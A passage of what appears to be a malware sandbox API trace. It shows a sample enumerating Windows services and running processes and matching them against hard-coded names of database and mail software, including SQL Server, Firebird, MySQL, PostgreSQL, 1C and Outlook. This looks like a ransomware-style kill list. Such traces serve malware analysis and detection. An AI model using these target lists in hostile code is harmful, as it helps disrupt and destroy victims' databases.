(lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0036.759] lstrlenW (lpString="DcomLaunch") returned 10 [0036.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0036.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0036.759] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0036.759] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0036.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0036.759] lstrlenW (lpString="Dhcp") returned 4 [0036.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0036.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0036.760] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0036.760] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0036.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0036.760] lstrlenW (lpString="Dnscache") returned 8 [0036.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0036.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0036.760] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0036.760] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0036.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0036.760] lstrlenW (lpString="DPS") returned 3 [0036.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0036.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0036.760] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0036.760] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0036.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0036.760] lstrlenW (lpString="eventlog") returned 8 [0036.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0036.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0036.760] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0036.760] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0036.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0036.760] lstrlenW (lpString="EventSystem") returned 11 [0036.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0036.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0036.760] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0036.760] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0036.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0036.760] lstrlenW (lpString="gpsvc") returned 5 [0036.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0036.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0036.760] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0036.760] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0036.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0036.760] lstrlenW (lpString="iphlpsvc") returned 8 [0036.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0036.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0036.761] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0036.761] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0036.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0036.761] lstrlenW (lpString="LanmanServer") returned 12 [0036.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0036.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0036.761] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0036.761] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0036.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0036.761] lstrlenW (lpString="LanmanWorkstation") returned 17 [0036.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0036.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0036.761] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0036.761] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0036.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0036.761] lstrlenW (lpString="lmhosts") returned 7 [0036.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0036.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0036.761] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0036.761] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0036.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0036.761] lstrlenW (lpString="MMCSS") returned 5 [0036.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0036.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0036.761] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0036.762] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0036.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0036.762] lstrlenW (lpString="MpsSvc") returned 6 [0036.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0036.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0036.762] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0036.762] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0036.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0036.762] lstrlenW (lpString="Netman") returned 6 [0036.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0036.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0036.762] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0036.762] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0036.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0036.762] lstrlenW (lpString="netprofm") returned 8 [0036.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0036.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0036.762] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0036.762] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0036.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0036.762] lstrlenW (lpString="NlaSvc") returned 6 [0036.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0036.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0036.762] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0036.762] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0036.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0036.762] lstrlenW (lpString="nsi") returned 3 [0036.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0036.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0036.762] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0036.762] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0036.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0036.762] lstrlenW (lpString="PcaSvc") returned 6 [0036.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0036.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0036.763] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0036.763] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0036.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0036.763] lstrlenW (lpString="PlugPlay") returned 8 [0036.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0036.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0036.763] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0036.763] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0036.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0036.763] lstrlenW (lpString="Power") returned 5 [0036.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0036.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0036.763] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0036.763] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0036.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0036.763] lstrlenW (lpString="ProfSvc") returned 7 [0036.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0036.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0036.763] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0036.763] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0036.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0036.763] lstrlenW (lpString="RpcEptMapper") returned 12 [0036.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0036.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0036.763] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0036.763] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0036.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0036.763] lstrlenW (lpString="RpcSs") returned 5 [0036.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0036.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0036.763] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0036.763] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0036.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0036.763] lstrlenW (lpString="SamSs") returned 5 [0036.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0036.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0036.764] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0036.764] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0036.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0036.764] lstrlenW (lpString="Schedule") returned 8 [0036.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0036.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0036.764] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0036.764] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0036.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0036.764] lstrlenW (lpString="SENS") returned 4 [0036.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0036.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0036.764] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0036.764] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0036.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0036.764] lstrlenW (lpString="ShellHWDetection") returned 16 [0036.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0036.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0036.764] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0036.764] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0036.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0036.764] lstrlenW (lpString="Spooler") returned 7 [0036.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0036.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0036.764] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0036.764] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0036.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0036.764] lstrlenW (lpString="SysMain") returned 7 [0036.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0036.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0036.764] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0036.764] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0036.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0036.764] lstrlenW (lpString="Themes") returned 6 [0036.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0036.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0036.765] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0036.765] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0036.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0036.765] lstrlenW (lpString="TrkWks") returned 6 [0036.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0036.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0036.765] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0036.765] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0036.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0036.765] lstrlenW (lpString="UxSms") returned 5 [0036.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0036.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0036.765] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0036.765] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0036.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0036.765] lstrlenW (lpString="WdiServiceHost") returned 14 [0036.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0036.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0036.765] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0036.765] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0036.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0036.765] lstrlenW (lpString="WdiSystemHost") returned 13 [0036.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0036.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0036.765] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0036.765] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0036.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0036.765] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0036.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0036.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0036.765] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0036.765] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0036.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0036.765] lstrlenW (lpString="Winmgmt") returned 7 [0036.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0036.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0036.766] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0036.766] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0036.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0036.766] lstrlenW (lpString="WPDBusEnum") returned 10 [0036.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0036.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0036.766] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0036.766] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0036.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0036.766] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5491d0 | out: hHeap=0x510000) returned 1 [0036.766] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0036.771] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0036.771] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0036.772] lstrlenW (lpString="System") returned 6 [0036.772] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0036.772] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0036.772] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0036.772] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0036.772] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0036.772] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0036.772] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0036.772] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0036.772] lstrlenW (lpString="smss.exe") returned 8 [0036.772] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0036.772] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0036.772] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0036.772] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0036.772] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0036.772] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0036.772] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0036.772] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0036.773] lstrlenW (lpString="csrss.exe") returned 9 [0036.773] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0036.773] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0036.773] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0036.773] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0036.773] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0036.773] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0036.773] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0036.773] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0036.773] lstrlenW (lpString="wininit.exe") returned 11 [0036.773] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0036.773] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0036.773] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0036.773] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0036.773] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0036.773] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0036.773] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0036.773] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0036.773] lstrlenW (lpString="csrss.exe") returned 9 [0036.773] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0036.773] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0036.774] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0036.774] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0036.774] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0036.774] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0036.774] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0036.774] lstrlenW (lpString="winlogon.exe") returned 12 [0036.774] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0036.774] lstrlenW (lpString="services.exe") returned 12 [0036.774] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0036.775] lstrlenW (lpString="lsass.exe") returned 9 [0036.775] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0036.775] lstrlenW (lpString="lsm.exe") returned 7 [0036.775] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.775] lstrlenW (lpString="svchost.exe") returned 11 [0036.775] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.775] lstrlenW (lpString="svchost.exe") returned 11 [0036.775] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.776] lstrlenW (lpString="svchost.exe") returned 11 [0036.776] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.776] lstrlenW (lpString="svchost.exe") returned 11 [0036.776] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.776] lstrlenW (lpString="svchost.exe") returned 11 [0036.776] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0036.776] lstrlenW (lpString="audiodg.exe") returned 11 [0036.776] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.777] lstrlenW 